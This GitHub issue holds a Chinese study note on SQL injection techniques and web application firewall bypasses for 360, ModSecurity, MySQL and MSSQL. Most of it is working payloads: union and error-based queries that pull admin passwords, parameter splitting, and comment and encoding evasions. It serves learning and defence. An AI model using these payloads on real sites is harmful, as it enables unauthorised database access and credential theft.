Skip to content

注入(七)& WAF #95

@PyxYuYu

Description

@PyxYuYu

When you feel like quitting, think about why you started.

0x01 SQL注入

  • base64 加密的参数注入
    • 注意参数,不要单纯认为是字符
    • 将注入代码转化为 base64 即可实现注入
    • 手工注入
      • 判断字段
         id=12 order by 9
         id=MTIgb3JkZXIgYnkgOQ==
      
      • 爆显位
         id=12 and 1=2 union select 1,2,3,4,5,6,7,8,9
         id=MTIgYW5kIDE9MiB1bmlvbiBzZWxlY3QgMSwyLDMsNCw1LDYsNyw4LDk=
      
      • 其余类似
    • Sqlmap 可以利用 tamper 脚本 -- base64encode.py
  • in 注入
    • 普通注入的 SQL 语句
      • select * from member where id = $_GET['id']
    • in 注入的 SQL 语句
      • select * from member where id in ($_GET['id'])
    • 判断是否注入
       ) and 1=1 and (1)=(1
       ) and 1=2 and (1)=(1
    
    • 利用工具进行注入,目标地址也要加上一个 ( 闭合,即 http://www.xxx.com/?id=1)
  • 搜索型注入
    • 闭合搜索 where like '%$id%'
    • 判断是否注入
       a%'and 1=1 and '%'='
       a%'and 1=2 and '%'='
    
    • 手工注入,带入各种语句即可
  • 伪静态注入
    • 伪静态只是 URL 重写的一种方式,隐藏传递的参数名
    • 例如:1.php?id=111 伪静态后成为 1.php/id/111.html
    • 既然伪静态能接受参数,必然不能防止注入的发生
    • 判断是否注入
       /view/cid/2/id/625-1/1   // 正常 and 1=1
       /view/cid/2/id/625'/1    // 出错 and 1=2
    
    • 利用 Sqlmap,目标地址参数后面加上 *,即 /view/cid/id/625*,即可实现注入
    • 手工注入
       /view/cid/2/id/625'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
    
       /view/cid/2/id/625'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html
    
    • 注意:普通 URLGET 注入中 %20,%23,+ 等都可以用,但是伪静态不行,会被直接传递到到 URL 中,所以用 /**/ 这个注释符号表示空格
  • WAF 绕过
    • 360
      • 普通注释绕过
        • 常见的用于注释的符号:
           #, //, --, /**/, --+, -- -, ;--a, ;%00
        
        • 使用 /**/ 在构造的查询语句中插入注释来绕过对空格的依赖或关键字的识别
        • #-- 等用于终结语句的查询
      • 内联注释绕过
        • 只有 MySQL 才会正常识别内联注入中的内容 /*!code*/ 中的 code
           id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -
        
      • Unicode 编码绕过
        • Unicode 有所谓的标准编码和非标准编码,如果我们用的 UTF-8 为标准编码,那么西欧语系使用的就是非标准编码
           单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
        
           空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
        
           左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
        
           右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
        
        • 例如:
           ?id=10%D6'%20AND%201=2%23
           SELECT 'Ä'='A'; #1
        
        • 第一个利用了双字节绕过,也可以称为宽字节注入,对单引号进行转义,变成 %D6%5C%27,而 %D6%5C 构成了一个宽字节,吃掉了 \,单引号就未被过滤,绕过
        • 第二个用的是两种不同编码的字符比较,比较的结果可能是 True 也可能 False,关键在于 Unicode 编码种类太多,基于黑名单的 WAF 也无法全部处理
      • insert 等价绕过
        • 正则 INSERT\\s+INTO.+?VALUES
        • 普通语句:insert into user (user, pass) values ('admin', '123456')
        • 只要避免使用 values 即可绕过
        • Bypass Payload
           insert into user set user='admin', pass='123456'
        
      • HPF(HTTP Parameter Fragment)绕过
        • HTTP 分割注入,将正则在参数之间进行了分割,结果到了数据库执行查询时,合并了语句
        • 单一完整的正则原本可以过滤,但是分割后放置在不同的参数中,导致无法过滤,最后带入查询合并语句导致注入的产生
        • 例如:
           select * from admin  where username = '$user' and password = '$pass'
        
        • 两个可控变量,就可以利用 HTTP 分割注入
        • user 处填
            ' xor extractvalue(1, concat(0x5c,(select group_concat(table_name)/*
        
        • pass 处填
           */from information_schema.table_constraints where constraint_schema=database())))#
        
        • 最后拼接后的语句
           select * from admin  where username = '' xor extractvalue(1, concat(0x5c,(select group_concat(table_name)/*' and password = '*/from information_schema.table_constraints where constraint_schema=database())))#'
        
        • 利用注释符 /* */ 注释掉了中间的 ' and password = ',然后又用 # 注释掉了后面的单引号
           select * from admin  where username = '' xor extractvalue(1, concat(0x5c,(select group_concat(table_name) from information_schema.table_constraints where constraint_schema=database())))
        
        • 由于是分割提交,后进行拼接,每个提交都没有触发正则中的过滤,所以成功绕过
      • 通过白名单利用 PATH_INFO 绕过
        • 白名单函数
           function webscan_white($webscan_white_name,$webscan_white_url_t=array()) {
               $url_path=$_SERVER['PHP_SELF'];
               $url_var=$_SERVER['QUERY_STRING'];
               if (preg_match("/".$webscan_white_name."/is",$url_path)==1) {
                   return false;
               }
           ...
           }
        
        • 白名单函数 webscan_white 如果返回 False,就不会进行正则过滤,从而成功绕过
          • 白名单函数第一个字段 $webscan_white_name 的内容,在 webscan_cache.php
             $webscan_white_directory='admin|\/dede\/|\/install\/';
          
          • 第一个 False 成立只需要 $_SERVER['PHP_SELF'] 中匹配到 admin|\/dede\/|\/install\/
          • PHP_SELF
            • PHP_SELFPHP 自己实现的一个 $SERVER 变量,是相对于文档根目录而言的,指的就是当前的页面地址
            • 比如:http://www.xxx.com/path/index.php
            • PHP_SELF 就是 /path/index.php
          • PATH_INFO
            • 环境变量,它是整个 URL 中,在 脚本标识 之后、查询参数? 之前的部分
            • 比如:http://www.xxx.com/path/index.php/view
            • PATH_INFO 就是 /view
            • PHP_SELF 就是 /path/index.php/view
          • 从上可以说明,PHP_SELF 有一部分是可控的
          • 所以注入的时候,可以在 PHP_SELF 中添加 admin 路径即可被认为是白名单,不会进行正则过滤,成功绕过
             http://www.xxx.com/path/index.php?a=1' union select
             // PATH_INFO 添加 admin,绕过
             http://www.xxx.com/path/index.php/admin/?a=1' union select
          
      • MySQL 特性绕过
        • 反引号:利用 MySQL 的特性 -- 为了区分 MySQL 中(关键字和保留字)与普通字符而引入的符号
          • 反引号可以用来绕过空格和正则,特殊情况下还可以将其做注释符用
             union select`column`,2,3
          
        • @:利用 MySQL 的特性 -- @ 用于变量定义如 @var_name,一个 @ 表示用户定义,@@ 表示系统变量
          • 关键字后面插入 @ 或者 @1=@ 替换空格
             union select@1,2,3,4,5,6,7
             union select@1=@1,2,3,4,5,6,7
          
    • ModSecurity 防火墙
      • ModSecurity 使用正则表达式对 Input SQL 进行匹配检测,对 selectunion 在敏感位置的出现都进行了拦截,但是 ModSecurtiy 有一个特点,它会对输入进行规范化,规范化的本意是用来防御 基于编码格式、解析顺序 的绕过
      • 例如:ModSecurity 可以防御这种形式的绕过
         sel/**/ect
      
      • 规范化之后,攻击者的本来目的就暴露在了 ModSecurity 的检测下,这时候再利用规则就可以很容易的防范注入
      • 但是关键问题就在于 ModSecurity 对注释的理解和 MySQL 的解析引擎理解不同,即
         同一个业务规则在不同的系统中的理解语义不同往往可导致绕过
      
      • ModSecurtiy 对注释的理解
        • 会忽略前向半开注释并把后向半开注释当成当行注释(如果没找到后向半开的闭合注释)
        • 这样的话,构造 Bypass Payload
           id=0+div+1+union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1%2C2%2Ccurrent_user
           // URL 转义后
           id=0 div 1 union#foo*/*bar
           select#foo
           1,2,current_user
        
        • 根据 ModSecurity 对注释的理解,语句成为
           id=0 div 1 union
           select
           1,2,current_user
        
        • 成功绕过
      • 分段式 SQL 注入绕过
        • 将原本的 Payload 分成几段,写在不同的参数中,最后组合成完整的 Payload,类似 HPF
        • 例如,构造 Bypass Payload
           hUserId=22768&FromDate=a1%27+or&ToDate=%3C%3Eamount+and%27&sendbutton1=Get+Statement
           // URL 转义后
           hUserId=22768&FormDate=a1' or&ToDate=<>amount and'&sendbutton1=Get Statement
        
        • 而对于 MySQL 的解析引擎来说,它会自动去除、转换这些连接控制符,从而变成
           hUserId=22768&FromDate=a1%27+or&ToDate=<>amount and%27&sendbutton1=Get Statement
        
        • 成功绕过
      • 内联注释绕过
        • 利用 MySQL 特有的内联注释
           select 1 union/*!select */version();select 1 union/*!32302 select */version();
        
      • %0b 分隔符绕过
        • 没有使用传统的空格,用 %0b 代替
           id=1%0band(select%0b1%20from%20mysql.x)
        
    • MSSQL
      • 注释符绕过
        • 普通注释符
           %00, %16
        
        • 特殊注释符
           // 特定条件实现
           %22, %27
        
      • 空格替换绕过
        • MSSQL+ASPX 理论上用 %00-%0a 都可以替换空格
           id=1%08and%081=user%08
        
      • %![]绕过
        • %
           and 1=2 u%n%i%o%n s%e%l%e%ct 1,username,3,4,5 f%r%o%m admin
        
        • !
           or!!!1=1
        
        • []
           select 1,2,3,4 from dual where id =1[]union[]select[]1,2,3,4 from[]
        
      • Unicode 编码绕过
        • IISUnicode 编码是可以解析的,即 s%u0065lect 会被解析为 select
        • 可以利用 Python 写个小脚本,跑出可以绕过的那个 Unicode 编码
           for i in range(65536):
               result = hex(i).replace('0x','')
               if len(result) < 4:
                   c = 4 - len(result)
                   b = '0' * c
                   zz = b + hex(i).replace('0x', '')
               else:
                   zz = hex(i).replace('0x', '')
        
    • MySQL
      • %a0 绕过
        • MySQL%a0 代表空白符,可以代替空格
        • 但是 %a0 是扩展字符里面的,当 %a0 加上另一个字符,可能在 Web 层面会解析成其他结果
        • 例如
           id=11' union%a0select version(),database() %23&Submit=a
        
        • %a0s 组合成的 %a0sWeb 层解析成了乱码,但是在 MySQL 层解析时,%a0 又会被解析成空白符,就这样成功绕过
      • 括号 () 绕过
        • MySQL 中,括号是用来包围子查询的,因此,任何可以计算出结果的语句,都可以用括号包围起来,而括号的两端,可以没有多余的空格,即用括号绕过空格
           select(user())from dual where(1=1)and(2=2)
        
      • URL 编码绕过
        • 参数名 进行 URL 编码
          • 参数值 进行 URL 编码
        • 参数值 进行 URL 双重编码
           id=1%25%32%30%25%36%31%25%36%45%25%36%34%25%32%30%25%33%31%25%33%44%25%33%31
        
      • 换行注释绕过
        • MySQL 在执行语句时,注释会忽略掉当前行后面的所有语句,但是即使忽略了注释后面的语句,遇到换行的话还是会紧接注释之前的语句继续执行
        • %23%0a -- %23 注释 %0a 换行
        • Bypass Payload
           // %23%0a
           id=1%20union%23%0aselect%20user%20from%20ddd
        
        • %23%0a 变形,在其中加入 Emoji 绕过
           id=1 union select%23☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺☺%0auser(),version()
        
        • %23%0a/*!关键词*/
           id=1 union%23%0aselect/*!USER*/(),/*!DATABASE*/()
        
        • %23 被拦截的话,还可以在中间添加 %0d 或者改用 --%2d%2d%0a
           id=1 union%23%0d%0aselect username from users%23
           id=1 union%2d%2d%0aselect username from users%23
           id=1 union%2d%2d%0d%0aselect username from users%23
        
        • %0a 放在 selectall 之间
           id=1 union/*!50000select%0aall*/username from users%23
           id=1 union/*!50000select%0adistinct*/username from users%23
           id=1 union/*!50000select%0adistinctrow*/username from users%23
        
    • WAF 总结
      • 大小写绕过
        • 最简单的绕过技术,针对正则表达式只针对大写或小写匹配的绕过技术
           id=1 uNiON sElECt 1,2,3,4
        
      • 替换关键字绕过
        • 正则表达式会替换或删除关键字,根据正则表达式会进行几次匹配来绕过
           id=1 uniUNiONon SELselectECT 1,2,3,4
        
      • 编码绕过
        • URL 编码绕过
          • 浏览器会对链接的非保留字进行编码,如空格 %20、单引号 %27
          • 普遍 URL 编码即可绕过
             id=1%2f%2a%2a%2funion%2f%2a%2a%2fselect 1,2,3,4
          
          • 特殊 URL 两次编码绕过
             id=1%252f%252a*/union%252f%252a*/select 1,2,3,4
          
          • 编码除了作用于空格,还可以作用与参数名、参数值、关键字
        • 十六进制 编码绕过
          • 使用 十六进制 对某些敏感参数、方法进行编码来绕过检测
             id=-15/*!u%6eion*//*!se%6cect*/1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
          
          • 可以对单个字符进行十六进制编码,也可以对整个字符串进行十六进制编码
        • Unicode 编码绕过
          • 常用符号的编码
             单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
             空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
             左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
             右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
          
             id=1 union s%u00f0lect password from admin
          
          • 宽字节注入就是利用的 Unicode 编码绕过
            • 单引号的转义变成 \',即 %5c%27%5c 和前面的 %d6 组合成一个宽字节,吃掉了 \,导致单引号未被过滤,成功绕过,即用 %d6%27 来代替单引号
               id=10%d6'%20AND%201=2%23
            
          • 使用两种不同编码的字符进行比较,结果可能为 True 也可能为 False
      • 注释绕过
        • 常见注释符号
           #
           --
           -- -
           -- X(X为任意字符)
           --+
           //
           /**/
           /*!content*/
           ;%00
           ;--a
        
        • 普通注释绕过
          • 使用 /**/ 在构造的语句中插入注释来规避对空格的依赖或关键字的识别,#-- 用于终结语句的查询
          • /**/ 之中可以连用,即 /**//**/
             id=1/**//**/union/**/select 1,2,3,4
          
        • 内联注释绕过
          • /!content/ 只有 MySQL 才识别,使用的更多,可以内嵌 /**/ 使用
             id=1+/!union/**//**/all*//*!select*//*!user*/(),/*!database*/()#
          
      • 等价函数字符替换绕过
        • 等价函数绕过
          • 当某个函数不能使用时可以找到其他的函数替代其实现
             hex()、bin() ==> ascii()
             sleep() ==>benchmark()
             concat_ws()==>group_concat()
             mid()、substr() ==> substring()
             @@user ==> user()
             @@datadir ==> datadir()
             ...
          
          • 例如:substring()substr() 无法使用时
             ?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
             substr((select 'password'),1,1) = 0x70
             strcmp(left('password',1), 0x69) = 1
             strcmp(left('password',1), 0x70) = 0
             strcmp(left('password',1), 0x71) = -1
          
        • 等价符号绕过
          • andor 可以使用 &&||
          • = 不能使用,可以使用 <>
          • 空格,空白符可以用以下符号代替
             常用: %0a、%0b、%0c、%0d、%09、%20、%a0、/**/、+
             Oracle 11g: %00
             MSSQL: %01、%02、%03、%04、%05、%06、%07、%08、%09、%10、%11、%12、%13、%14、%15、%16、%17、%18、%19、%0e、%0f、%1a、%1b、%1c、%1d、%1e、%1f
          
        • 生僻函数绕过
          • 例如 MySQL 中的 extractvalueupdatexml
      • 特殊符号绕过
        • 科学记数法
           id=0e1union select user 1e1from mysql.user
        
        • +
           id=0e1union(select+1,(select schema_name from information_schema.schemata limit 1))
        
        • -
           id=0e1union(select-1,(select schema_name from information_schema.schemata limit 1))
        
        • `反引号`
           id=0e1union(select 1,(select `schema_name` from information_schema.schemata limit 1))
        
        • ~
           id=0e1union(select~1,(select schema_name from information_schema.schemata limit 1))
        
        • !
           id=0e1union(select!1,(select schema_name from information_schema.schemata limit 1))
        
        • @`content`
           id=0e1union(select@`id`,(select schema_name from information_schema.schemata limit 1))
        
        • .1
           id=.1union/*.1*/select password from users
        
        • 单引号、双引号
           id=.1union/*.1*/select'1',password from users
           id=.1union/*.1*/select"1",password from users
        
        • 括号
           id=0e1union(select!1,(select(schema_name)from information_schema.schemata limit 1))
        
        • 花括号
           id=1 union(select%0aall{x users}from{x ddd})
           id=1 union(select%0adistinct{x users}from{x ddd})
           id=1 union(select%0adistinctrow{x users}from{x ddd})
        
        • %
           id=1 union sel%ect password f%r%o%m users
        
        • %23%0a
           id=1 union%23%0aselect user from users
        
        • %23%0d%0a %2d%2d%0a%0d 0a 换行)
           id=1 union%23%0d%0aselect username from users%23
           id=1 union%2d%2d%0aselect username from users%23
           id=1 union%2d%2d%0d%0aselect username from users%23
        
        • emoji 图标
           %23emoji图标%0a
        
        • %0a 放在 selectall 之间
           id=1 union/*!50000select%0aall*/username from users%23
           id=1 union/*!50000select%0adistinct*/username from users%23
           id=1 union/*!50000select%0adistinctrow*/username from users%23
        
      • HPP
        • 重复参数污染,利用查询字符串多次出现同一个参数,根据容器不同得到不同结果
           /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
        
      • HPF
        • HTTP 参数分割,不同的参数之间进行语句分割结果到了数据库执行查询时再合并语句
           /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
        

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions